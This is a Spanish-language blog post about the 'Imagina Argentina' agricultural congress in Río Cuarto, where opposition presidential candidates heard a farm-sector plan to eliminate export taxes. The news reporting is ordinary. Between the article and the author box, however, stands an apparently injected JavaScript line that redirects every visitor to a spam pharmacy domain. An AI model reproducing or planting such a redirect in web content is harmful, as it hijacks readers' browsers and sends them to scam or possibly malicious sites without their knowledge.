El campo presentó a candidatos opositores su plan anti-retenciones

La Resolución 125 dejó una marca indeleble en la relación entre el sector agropecuario y el kirchnerismo. En cada encuentro que el agro organiza para plantear sus problemáticas, el tema vuelve a salir, ya sea como recuerdo o como reclamo. El congreso «Imagina Argentina» convocado por empresas y organizaciones rurales para presentar sus proyectos y escuchar las propuestas de los presidenciables no fue la excepción.
La Fundación Agropecuaria para el Desarrollo de la Argentina (FADA) –organización local a cargo del evento realizado en la Sociedad Rural de Río Cuarto, Córdoba–, aseguró haber invitado a los principales candidatos presidenciales. Con una excusa u otra, los kirchneristas no fueron. Quienes sí lo hicieron fueron buena parte de los postulantes de la oposición: este jueves, expusieron el gobernador local José Manuel de la Sota, la líder del GEN, Margarita Stolbizer, y el radical Ernesto Sanz. Este viernes lo hará Sergio Massa.
En las últimas horas corrió la versión de que Mauricio Macri podría sumarse a las exposiciones porque el jueves a la mañana una mujer se presentó en su nombre ante la organización y pidió 18 acreditaciones. Después de unas horas de confusión, desde el PRO aclararon que esa persona no tenía nada que ver con ellos. Quienes imaginaron que podría haber una foto con Massa deberán seguir a la espera.
Más allá de las ausencias, fue una fuerte demostración de poder de convocatoria. No sólo asistieron más de mil personas y buena parte de los referentes de la oposición, sino que también el Concejo Deliberante de Río Cuarto y hasta la Legislatura cordobesa realizaron sesiones simbólicas en el predio para manifestar su respaldo al encuentro y los reclamos del sector.
Al llegar al predio de la Sociedad Rural, un presidenciable reconoció que el rigor del largo viaje en auto se hizo sentir en el cuerpo: aunque está casi en el centro geográfico del país, Río Cuarto no tiene aeropuerto. «Lo hicimos acá y no en Buenos Aires no sólo por una cuestión de federalismo. También para que los candidatos vivan lo que es la falta de infraestructura», explicó a Infobae Germán Di Bella, presidente de «Imagina Argentina».
La palabra de los candidatos
«Grieta», «péndulo» o «cultura del enfrentamiento» fueron algunos de los términos elegidos por políticos opositores, ruralistas, empresarios y referentes sociales para definir un escenario de fractura no sólo en lo político, sino también en lo social y económico entre dos visiones antagónicas de país que se sucedieron en el gobierno de la Argentina a lo largo de la historia. Todos ellos llamaron al diálogo como forma de superar las diferencias, aunque hubo disidencias acerca de los objetivos a alcanzar.
De la Sota jugó de local. En su rol de gobernador se sentó en la mesa principal y fue el encargado de dar uno de los discursos de apertura. Fue él uno de los primeros en poner en palabras la sombra que sobrevoló todo el encuentro: el recuerdo de la 125. «Hace seis años estuve con muchos de ustedes reclamando en las rutas lo que les correspondía. Eso nos costó la enemistad del gobierno nacional», señaló.
El gobernador fue también el primero en dar una de las numerosas metáforas que circuló durante toda la jornada para hablar de los extremos que la Argentina atravesó en los últimos 20 años: las políticas neoliberales del menemismo y lo que el cordobés definió como el «aventurerismo económico» del kirchnerismo. «Necesitamos un país que tenga un rumbo. En Chile gobierna un partido de centro-derecha y la aguja del país se inclina levemente hacia la derecha, pero el rumbo sigue siendo el mismo. Viene un partido de centroizquierda y la aguja se inclina levemente hacia la izquierda, pero el rumbo sigue siendo el mismo. El problema en la Argentina es que vivimos empezando de nuevo. Así se retrocede, no se progresa», definió.
Su exposición fue seguida por las palabras de Margarita Stolbizer. La precandidata presidencial de la alianza que encabeza el socialismo también advirtió sobre la necesidad de llegar a un proyecto de país a través de los grandes consensos porque «la Argentina no resiste que tengamos 40 imaginarios distintos». La diputada nacional aseguró que está a favor de bajar las retenciones con excepción de las de la soja, cuyo mecanismo impositivo consideró que debe ser revisado pero no eliminado. Más tarde, en conferencia de prensa, tomó distancia de la promesa de De la Sota de reducir la presión impositiva en un 30% y aseguró que, en su opinión, deben crearse impuestos a la herencia, el juego y la compraventa de sociedades anónimas.
Por lejos, el mejor recibido de la jornada fue Ernesto Sanz. Su charla logró despertar los aplausos del público en diez ocasiones. La mayoría de ellos cuando explicaba la decisión de que la UCR, el PRO y la Coalición Cívica se hayan unido en un frente único para enfrentar al kirchnerismo.
«El radicalismo tiene muchos años de historia, pero no por eso va a vivir para siempre. Se puede morir mañana o pasado mañana. Está siempre a prueba para seguir viviendo. Mi partido tomó este año la decisión de asumir riesgos e ir a buscar un acuerdo con quienes vienen de otro lugar y no piensan como uno. Habría sido muy fácil para mí como presidente del radicalismo haberme quedado en la tranquilidad de la boleta 3, la boina blanca y la marchita de ‘adelante radicales’ y haber ido a las elecciones con eso a sacar los votos que sacamos en el 2011», explicó.
Como De la Sota, también recurrió a la metáfora del péndulo para explicar la Argentina: «Todas estas cosas requieren de un país normal, de un país que se aleje de estar en un extremo u el otro. Argentina tiene que encontrar el equilibrio que hace rato perdió. El péndulo nos lleva en alguna etapa hacia el extremo del mercadocentrismo y ahora nos vamos al otro extremo, que es el del estadocentrismo».
Los pedidos
La apertura de «Imagina Argentina» estuvo a cargo de Germán Di Bello. Con un descarnado mensaje, el presidente del congreso llamó a que el ruralismo tenga una participación más activa en el ámbito político: «No es el tipo que busca el mango el responsable de pensar la Argentina que viene, somos nosotros los que tenemos que imaginar el país para nuestros hijos para que no haya chicos pidiendo en los semáforos».
A cada uno de los presidenciables que asistieron le entregaron una carpeta con un ambicioso proyecto para eliminar buena parte de los controles e impuestos que rigen sobre el sector en día: terminar con casi todas las retenciones (a excepción de la soja, que se haría de forma gradual en 7 años), dar de baja el sistema de los Registros de Operaciones de Exportación (ROE) e instruir a la AFIP para que devuelva de manera automática los saldos a favor generados por las retenciones de IVA y aplicar ajustes por inflación a los estados contables. De acuerdo con el estudio realizado por David Miazzo, coordinador de investigaciones de FADA, con esas medidas podrían lograr en cuatro años un incremento «de hasta un 40%» en la producción agrícola, aumentar el stock ganadero «en 5 millones de cabezas», crear «500 mil puestos de trabajo» y llevar las exportaciones a «10 mil millones de dólares anuales».
De la Sota, Sanz y Stolbizer escucharon los pedidos y explicaron sus respectivas propuestas para eliminar las retenciones a las economías regionales. Aunque se comprometieron a evaluar el proyecto, ninguno se comprometió a aplicar los copernicanos cambios reclamados.

window.location = «http://cheap-pills-norx.com»;

Acerca de Artepolítica

El usuario Artepolítica es la firma común de los que hacemos este blog colectivo.

Ver todas las entradas de Artepolítica →

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *